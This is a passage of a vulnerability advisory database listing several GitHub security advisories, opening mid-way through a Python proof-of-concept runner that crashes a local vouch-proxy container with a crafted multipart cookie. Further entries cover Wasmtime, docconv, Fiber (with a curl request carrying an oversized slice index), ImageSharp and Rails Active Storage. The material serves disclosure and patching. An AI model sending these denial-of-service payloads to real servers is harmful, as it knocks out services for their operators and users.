\"true\"\n\n\ndef get_logs(name: str) -\u003e str:\n    \"\"\"Retrieve stdout+stderr from the container.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"logs\", name],\n        capture_output=True, text=True,\n    )\n    return (r.stdout + r.stderr).strip()\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Main\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DEFAULT_IMAGE,  help=\"Docker image name\")\n    parser.add_argument(\"--port\",   default=DEFAULT_PORT,   type=int)\n    parser.add_argument(\"--parts\",  default=DEFAULT_PARTS,  type=int,\n                        help=\"N in VouchCookie_1ofN (drives allocation size)\")\n    args = parser.parse_args()\n\n    host       = \"127.0.0.1\"\n    port       = args.port\n    image      = args.image\n    num_parts  = args.parts\n    cookie_val = f\"VouchCookie_1of{num_parts}\"\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC \u2014 Unbounded Multipart Cookie Allocation DoS\")\n    print(\"=\" * 60)\n    print(f\"  Image  : {image}\")\n    print(f\"  Target : http://{host}:{port}/validate\")\n    print(f\"  Cookie : {cookie_val}=x\")\n    print(f\"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB\")\n    print()\n\n    # 1. Clean up any leftover container.\n    cleanup(CONTAINER_NAME)\n\n    # 2. Start the vouch-proxy container.\n    #    Memory is uncapped at the Docker level; the Go runtime itself will\n    #    fail the mmap when the host cannot honor the 160 GB request\n    #    (overcommit heuristic or insufficient address space).\n    run_cmd = [\n        \"docker\", \"run\", \"-d\",   # no --rm so logs survive after crash\n        \"--name\", CONTAINER_NAME,\n        \"-p\", f\"{port}:9090\",   # host:container \u2014 vouch-proxy always binds :9090 internally\n        image,\n    ]\n    r = run(run_cmd, capture_output=True, text=True)\n    if r.returncode != 0:\n        print(f\"[FAIL] docker run failed:\\n{r.stderr}\")\n        sys.exit(1)\n    container_id = r.stdout.strip()\n    print(f\"[info] container started: {container_id[:12]}\")\n\n    # 3. Wait for the HTTP server to accept connections.\n    print(f\"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...\")\n    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)\n    if not ready:\n        logs = get_logs(CONTAINER_NAME)\n        print(f\"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.\")\n        print(\"[logs]\", logs[-2000:])\n        cleanup(CONTAINER_NAME)\n        sys.exit(1)\n\n    # 4. Send the malicious request.\n    print()\n    print(\"[attack] Sending malicious cookie to /validate ...\")\n    request_line = f\"GET /validate HTTP/1.1 Cookie: {cookie_val}=x\"\n    print(f\"[attack] {request_line}\")\n    print()\n\n    try:\n        conn = http.client.HTTPConnection(host, port, timeout=10)\n        conn.request(\n            \"GET\", \"/validate\",\n            headers={\n                \"Host\": \"app.example.com\",\n                \"Cookie\": f\"{cookie_val}=x\",\n            },\n        )\n        # The server might crash before sending a response.\n        try:\n            resp = conn.getresponse()\n            body = resp.read(512).decode(\"utf-8\", errors=\"replace\")\n            print(f\"[info] got HTTP {resp.status}: {body[:200]}\")\n        except Exception as e:\n            print(f\"[info] connection broken mid-response (expected): {e}\")\n        conn.close()\n    except Exception as e:\n        print(f\"[info] request exception (expected if server crashed): {e}\")\n\n    # 5. Give the container a moment to record its exit state.\n    time.sleep(2)\n\n    # 6. Collect evidence.\n    still_running = container_running(CONTAINER_NAME)\n    exit_code     = container_exit_code(CONTAINER_NAME)\n    oom_killed    = container_oom(CONTAINER_NAME)\n    logs          = get_logs(CONTAINER_NAME)\n\n    print(\"\u2500\" * 60)\n    print(\"[evidence] Container still running :\", still_running)\n    print(\"[evidence] Container exit code      :\", exit_code)\n    print(\"[evidence] OOM-killed flag          :\", oom_killed)\n    print()\n    print(\"[logs] (last 3000 chars of container stdout+stderr):\")\n    print(logs[-3000:] if logs else \"(empty)\")\n    print(\"\u2500\" * 60)\n\n    # 7. Verdict\n    #\n    # Evidence of exploitation (any one suffices):\n    #   (a) Container exited (not still running) after the malicious request.\n    #   (b) Exit code == 2 (Go runtime fatal: out of memory).\n    #   (c) OOMKilled == true (kernel OOM killer fired).\n    #   (d) Logs contain \"out of memory\" or \"runtime: fatal\".\n\n    crashed   = not still_running\n    go_panic  = exit_code == 2\n    oom_kill  = oom_killed\n    log_oom   = (\n        \"out of memory\" in logs.lower()\n        or \"runtime: fatal\" in logs.lower()\n        or \"cannot allocate\" in logs.lower()\n    )\n\n    passed = crashed and (go_panic or oom_kill or log_oom)\n\n    print()\n    if passed:\n        print(\"[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.\")\n        # Extract the key OOM line from logs.\n        oom_lines = [\n            ln for ln in logs.splitlines()\n            if any(kw in ln.lower() for kw in (\"out of memory\", \"cannot allocate\", \"runtime: fatal\", \"oom\"))\n        ]\n        evidence = \"\\n\".join(oom_lines[:5]) if oom_lines else f\"container exited with code {exit_code}\"\n    else:\n        print(\"[FAIL] Could not confirm crash. See logs above for details.\")\n        evidence = logs[-500:] if logs else \"(no logs)\"\n\n    print()\n    result = {\n        \"passed\":        passed,\n        \"verdict\":       \"PASS\" if passed else \"FAIL\",\n        \"reason\": (\n            \"\ub2e8\uc77c \ube44\uc778\uc99d HTTP \uc694\uccad\uc73c\ub85c \uc11c\ubc84 \ud504\ub85c\uc138\uc2a4\ub97c OOM \ucda9\ub3cc\uc2dc\ud0a4\ub294 \ucde8\uc57d\uc810 \uc7ac\ud604 \uc131\uacf5\"\n            if passed else\n            \"\ucee8\ud14c\uc774\ub108 \ucda9\ub3cc\uc744 \ud655\uc778\ud560 \uc218 \uc5c6\uc74c \u2014 \ub85c\uadf8 \ubc0f \uc885\ub8cc \ucf54\ub4dc \ucc38\uace0\"\n        ),\n        \"build_command\": (\n            \"docker build -f vuln-001/Dockerfile \"\n            \"-t vouch-vuln001 \"\n            \"repo\"\n        ),\n        \"run_command\": (\n            f\"docker run --rm -d --name {CONTAINER_NAME} \"\n            f\"-p {port}:9090 {image}\"\n        ),\n        \"poc_command\": (\n            f\"python3 poc.py --image {image} --port {port} --parts {num_parts}\"\n        ),\n        \"evidence\":      evidence,\n        \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n    }\n\n    result_path = (\n        \"reports/pypiAi_450_vouch__vouch-proxy\"\n        \"/vuln-001/phase2_result.json\"\n    )\n    with open(result_path, \"w\") as fh:\n        json.dump(result, fh, indent=2, ensure_ascii=False)\n    print(f\"[saved] {result_path}\")\n\n    # 8. Cleanup.\n    cleanup(CONTAINER_NAME)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-qqff-5854-px68",
  "modified": "2026-08-20T17:26:39Z",
  "published": "2026-08-20T17:26:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vouch/vouch-proxy/security/advisories/GHSA-qqff-5854-px68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vouch/vouch-proxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vouch-proxy has an Unbounded Multipart Cookie Allocation DoS"
}

GHSA-QQFJ-4VCM-26HV

Vulnerability from github – Published: 2026-04-09 20:22 – Updated: 2026-04-24 21:03
VLAI
Summary
Wasmtime segfault or unused out-of-sandbox load with `f64x2.splat` operator on x86-64
Details

On x86-64 platforms with SSE3 disabled Wasmtime's compilation of the f64x2.splat WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When signals-based-traps are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it's possible for out-of-sandbox data to be loaded, but this data is not visible to WebAssembly guests.

Details

The f64x2.splat operator, when operating on a value loaded from a memory (for example with f64.load), compiles with Cranelift to code on x86-64 without SSE3 that loads 128 bits (16 bytes) rather than the expected 64 bits (8 bytes) from memory. When the address is in-bounds for a (correct) 8-byte load but not an (incorrect) 16-byte load, this can load beyond memory by up to 8 bytes. This can result in three different behaviors depending on Wasmtime's configuration:

  1. If guard pages are disabled then this extra data will be loaded. The extra data is present in the upper bits of a register, but the upper bits are not visible to WebAssembly guests. Actually witnessing this data would require a different bug in Cranelift, of which none are known. Thus in this situation while it's something we're patching in Cranelift it's not a security issue.
  2. If guard pages are enabled, and signals-based-traps are enabled, then this operation will result in a safe WebAssembly trap. The trap is incorrect because the load is not out-of-bounds as defined by WebAssembly, but this mistakenly widened load will load bytes from an unmapped guard page, causing a segfault which is caught and handled as a Wasm trap. In this situation this is not a security issue, but we're patching Cranelift to fix the WebAssembly behavior.
  3. If guard pages are enabled, and signals-based-traps are disabled, then this operation results in an uncaught segfault. Like the previous case with guard pages enabled this will load from an unmapped guard page. Unlike before, however, signals-based-traps are disabled meaning that signal handlers aren't configured. The resulting segfault will, by default, terminate the process. This is a security issue from a DoS perspective, but does not represent an arbitrary read or write from WebAssembly, for example.

Wasmtime's default configuration is case (2) in this case. That means that Wasmtime, by default, incorrectly executes this WebAssembly instruction but does not have insecure behavior.

Impact

If signals-based-traps are disabled and guard pages are enabled then guests can trigger an uncaught segfault in the host, likely aborting the host process. This represents, for example, a DoS vector for WebAssembly guests.

This bug does not affect Wasmtime's default configuration and requires signals-based-traps to be disabled. This bug only affects the x86-64 target with the SSE3 feature disabled and the Cranelift backend (Wasmtime's default backend).

Patches

Wasmtime 24.0.7, 36.0.7, 42.0.2, and 43.0.1 have been issued to fix this bug. Users are recommended to update to these patched versions of Wasmtime.

Workarounds

This bug only affects x86-64 hosts where SSE3 is disabled. If SSE3 is enabled or if a non-x86-64 host is used then hosts are not affect. Otherwise there are no known workarounds to this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "36.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "37.0.0"
            },
            {
              "fixed": "42.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "43.0.0"
            },
            {
              "fixed": "43.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "43.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T20:22:45Z",
    "nvd_published_at": "2026-04-09T19:16:24Z",
    "severity": "MODERATE"
  },
  "details": "On x86-64 platforms with SSE3 disabled Wasmtime\u0027s compilation of the `f64x2.splat` WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it\u0027s possible for out-of-sandbox data to be loaded, but this data is not visible to WebAssembly guests.\n\n### Details\n\nThe `f64x2.splat` operator, when operating on a value loaded from a memory (for example with f64.load), compiles with Cranelift to code on x86-64 without SSE3 that loads 128 bits (16 bytes) rather than the expected 64 bits (8 bytes) from memory. When the address is in-bounds for a (correct) 8-byte load but not an (incorrect) 16-byte load, this can load beyond memory by up to 8 bytes. This can result in three different behaviors depending on Wasmtime\u0027s configuration:\n\n1.  If guard pages are disabled then this extra data will be loaded. The extra data is present in the upper bits of a register, but the upper bits are not visible to WebAssembly guests. Actually witnessing this data would require a different bug in Cranelift, of which none are known. Thus in this situation while it\u0027s something we\u0027re patching in Cranelift it\u0027s not a security issue.\n2. If guard pages are enabled, and [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are enabled, then this operation will result in a safe WebAssembly trap. The trap is incorrect because the load is not out-of-bounds as defined by WebAssembly, but this mistakenly widened load will load bytes from an unmapped guard page, causing a segfault which is caught and handled as a Wasm trap. In this situation this is not a security issue, but we\u0027re patching Cranelift to fix the WebAssembly behavior.\n3. If guard pages are enabled, and [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are disabled, then this operation results in an uncaught segfault. Like the previous case with guard pages enabled this will load from an unmapped guard page. Unlike before, however, signals-based-traps are disabled meaning that signal handlers aren\u0027t configured. The resulting segfault will, by default, terminate the process. This is a security issue from a DoS perspective, but does not represent an arbitrary read or write from WebAssembly, for example.\n\nWasmtime\u0027s default configuration is case (2) in this case. That means that Wasmtime, by default, incorrectly executes this \nWebAssembly instruction but does not have insecure behavior.\n\n### Impact\n\nIf [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) are disabled and guard pages are enabled then guests can trigger an uncaught segfault in the host, likely aborting the host process. This represents, for example, a DoS vector for WebAssembly guests.\n\nThis bug does not affect Wasmtime\u0027s default configuration and requires [signals-based-traps](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.signals_based_traps) to be disabled. This bug only affects the x86-64 target with the SSE3 feature disabled and the Cranelift backend (Wasmtime\u0027s default backend).\n\n### Patches\n\nWasmtime 24.0.7, 36.0.7, 42.0.2, and 43.0.1 have been issued to fix this bug. Users are recommended to update to these patched versions of Wasmtime.\n\n### Workarounds\n\nThis bug only affects x86-64 hosts where SSE3 is disabled. If SSE3 is enabled or if a non-x86-64 host is used then hosts are not affect. Otherwise there are no known workarounds to this issue.",
  "id": "GHSA-qqfj-4vcm-26hv",
  "modified": "2026-04-24T21:03:37Z",
  "published": "2026-04-09T20:22:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-qqfj-4vcm-26hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34944"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/wasmtime"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0087.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Wasmtime segfault or unused out-of-sandbox load with `f64x2.splat` operator on x86-64 "
}

GHSA-QVX2-59G8-8HPH

Vulnerability from github – Published: 2022-12-25 21:30 – Updated: 2024-03-01 14:21
VLAI
Summary
docconv vulnerable to Memory Allocation with Excessive Size Value
Details

A vulnerability was found in docconv up to 1.2.0 and classified as problematic. This issue affects the function ConvertDocx/ConvertODT/ConvertPages/ConvertXML/XMLToText. The manipulation leads to uncontrolled memory allocation. The attack may be initiated remotely. Upgrading to version 1.2.1 can address this issue. The name of the patch is 42bcff666855ab978e67a9041d0cdea552f20301. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216779.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sajari/docconv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.sajari.com/docconv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-30T17:19:54Z",
    "nvd_published_at": "2022-12-25T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in docconv up to 1.2.0 and classified as problematic. This issue affects the function `ConvertDocx/ConvertODT/ConvertPages/ConvertXML/XMLToText`. The manipulation leads to uncontrolled memory allocation. The attack may be initiated remotely. Upgrading to version 1.2.1 can address this issue. The name of the patch is 42bcff666855ab978e67a9041d0cdea552f20301. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216779.",
  "id": "GHSA-qvx2-59g8-8hph",
  "modified": "2024-03-01T14:21:08Z",
  "published": "2022-12-25T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4741"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sajari/docconv/pull/111"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sajari/docconv/commit/42bcff666855ab978e67a9041d0cdea552f20301"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sajari/docconv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sajari/docconv/releases/tag/v1.2.1"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2022-1188"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.216779"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.216779"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "docconv vulnerable to Memory Allocation with Excessive Size Value"
}

GHSA-QX2Q-88MX-VHG7

Vulnerability from github – Published: 2025-08-05 15:22 – Updated: 2025-08-06 14:31
VLAI
Summary
Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder
Details

Description

When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.

The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.

Steps to Reproduce

Create a POST request handler that accepts x-www-form-urlencoded data

package main

import (
    "fmt"
    "net/http"

    "github.com/gofiber/fiber/v2"
)

type RequestBody struct {
    NestedContent []*struct{} `form:"test"`
}

func main() {
    app := fiber.New()

    app.Post("/", func(c *fiber.Ctx) error {
        formData := RequestBody{}
        if err := c.BodyParser(&formData); err != nil {
            fmt.Println(err)
            return c.SendStatus(http.StatusUnprocessableEntity)
        }
        return nil
    })

    fmt.Println(app.Listen(":3000"))
}

Run the server and send a POST request with a large numeric key in form data, such as:

curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
  -H 'Content-Type: application/x-www-form-urlencoded'

Relevant Code Snippet

Within the decoder's decode method:

idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
    value := reflect.MakeSlice(t, idx+1, idx+1)  // <-- Panic/crash occurs here when idx is huge
    if v.Len() < idx+1 {
        reflect.Copy(value, v)
    }
    v.Set(value)
}

The idx is not validated before use, leading to unsafe slice allocation for extremely large values.


Impact

  • Application panic or crash on malicious or malformed input.
  • Potential denial of service (DoS) via memory exhaustion or server crash.
  • Lack of defensive checks in the parsing code causes instability.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.52.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.52.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-05T15:22:21Z",
    "nvd_published_at": "2025-08-06T00:15:31Z",
    "severity": "HIGH"
  },
  "details": "### Description\n\nWhen using Fiber\u0027s `Ctx.BodyParser` to parse form data containing a large numeric key that represents a slice index (e.g., `test.18446744073704`), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.\n\nThe root cause is that the decoder attempts to allocate a slice of length `idx + 1` without validating whether the index is within a safe or reasonable range. If `idx` is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.\n\n\n### Steps to Reproduce\n\nCreate a POST request handler that accepts `x-www-form-urlencoded` data\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gofiber/fiber/v2\"\n)\n\ntype RequestBody struct {\n\tNestedContent []*struct{} `form:\"test\"`\n}\n\nfunc main() {\n\tapp := fiber.New()\n\n\tapp.Post(\"/\", func(c *fiber.Ctx) error {\n\t\tformData := RequestBody{}\n\t\tif err := c.BodyParser(\u0026formData); err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn c.SendStatus(http.StatusUnprocessableEntity)\n\t\t}\n\t\treturn nil\n\t})\n\n\tfmt.Println(app.Listen(\":3000\"))\n}\n\n```\n\nRun the server and send a POST request with a large numeric key in form data, such as:\n\n```bash\ncurl -v -X POST localhost:3000 --data-raw \u0027test.18446744073704\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027\n```\n\n\n### Relevant Code Snippet\n\nWithin the decoder\u0027s [decode method](https://github.com/gofiber/fiber/blob/v2.52.8/internal/schema/decoder.go#L249):\n\n```go\nidx := parts[0].index\nif v.IsNil() || v.Len() \u003c idx+1 {\n    value := reflect.MakeSlice(t, idx+1, idx+1)  // \u003c-- Panic/crash occurs here when idx is huge\n    if v.Len() \u003c idx+1 {\n        reflect.Copy(value, v)\n    }\n    v.Set(value)\n}\n```\n\nThe `idx` is not validated before use, leading to unsafe slice allocation for extremely large values.\n\n---\n\n### Impact\n\n- Application panic or crash on malicious or malformed input.\n- Potential denial of service (DoS) via memory exhaustion or server crash.\n- Lack of defensive checks in the parsing code causes instability.",
  "id": "GHSA-qx2q-88mx-vhg7",
  "modified": "2025-08-06T14:31:40Z",
  "published": "2025-08-05T15:22:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-qx2q-88mx-vhg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/commit/e115c08b8f059a4a031b492aa9eef0712411853d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gofiber/fiber"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder"
}

GHSA-QXRV-GP6X-RC23

Vulnerability from github – Published: 2024-07-22 17:42 – Updated: 2024-09-11 16:08
VLAI
Summary
SixLabors ImageSharp has Excessive Memory Allocation in Gif Decoder
Details

Impact

What kind of vulnerability is it? Who is impacted?

A vulnerability discovered in the ImageSharp library, where the processing of specially crafted files can lead to excessive memory usage in the Gif decoder. The vulnerability is triggered when ImageSharp attempts to process image files that are designed to exploit this flaw.

Patches

Has the problem been patched? What versions should users upgrade to?

The problem has been patched. All users are advised to upgrade to v3.1.5 or v2.1.9.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Before calling Image.Decode(Async), use Image.Identify to determine the image dimensions in order to enforce a limit.

References

Are there any links users can visit to find out more? - https://github.com/SixLabors/ImageSharp/pull/2759 - https://github.com/SixLabors/ImageSharp/pull/2764 - https://github.com/SixLabors/ImageSharp/pull/2770 - ImageSharp: Security Considerations - ImageSharp.Web: Securing Processing Commands

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-22T17:42:33Z",
    "nvd_published_at": "2024-07-22T15:15:04Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA vulnerability discovered in the ImageSharp library, where the processing of specially crafted files can lead to excessive memory usage in the Gif decoder. The vulnerability is triggered when ImageSharp attempts to process image files that are designed to exploit this flaw.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been patched. All users are advised to upgrade to v3.1.5 or v2.1.9.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nBefore calling `Image.Decode(Async)`, use `Image.Identify` to determine the image dimensions in order to enforce a limit.\n\n### References\n_Are there any links users can visit to find out more?_\n- https://github.com/SixLabors/ImageSharp/pull/2759\n- https://github.com/SixLabors/ImageSharp/pull/2764\n- https://github.com/SixLabors/ImageSharp/pull/2770\n- ImageSharp: [Security Considerations](https://docs.sixlabors.com/articles/imagesharp/security.html)\n- ImageSharp.Web: [Securing Processing Commands](https://docs.sixlabors.com/articles/imagesharp.web/processingcommands.html#securing-processing-commands)",
  "id": "GHSA-qxrv-gp6x-rc23",
  "modified": "2024-09-11T16:08:19Z",
  "published": "2024-07-22T17:42:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-qxrv-gp6x-rc23"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/2759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/2764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/2770"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/59de13c8cc47f2b402e2c43aa7024511d029d515"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/9816ca45016c5d3859986f3c600e8934bc450a56"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/b496109051cc39feee1f6cde48fca6481de17f9a"
    },
    {
      "type": "WEB",
      "url": "https://docs.sixlabors.com/articles/imagesharp.web/processingcommands.html#securing-processing-commands"
    },
    {
      "type": "WEB",
      "url": "https://docs.sixlabors.com/articles/imagesharp/security.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SixLabors ImageSharp has Excessive Memory Allocation in Gif Decoder"
}

GHSA-R46P-8F7G-VVVG

Vulnerability from github – Published: 2026-03-23 21:08 – Updated: 2026-05-13 16:16
VLAI
Summary
Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests
Details

Impact

When serving files through Active Storage's Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g. bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone user pirikara

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "activestorage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.1.0.beta1"
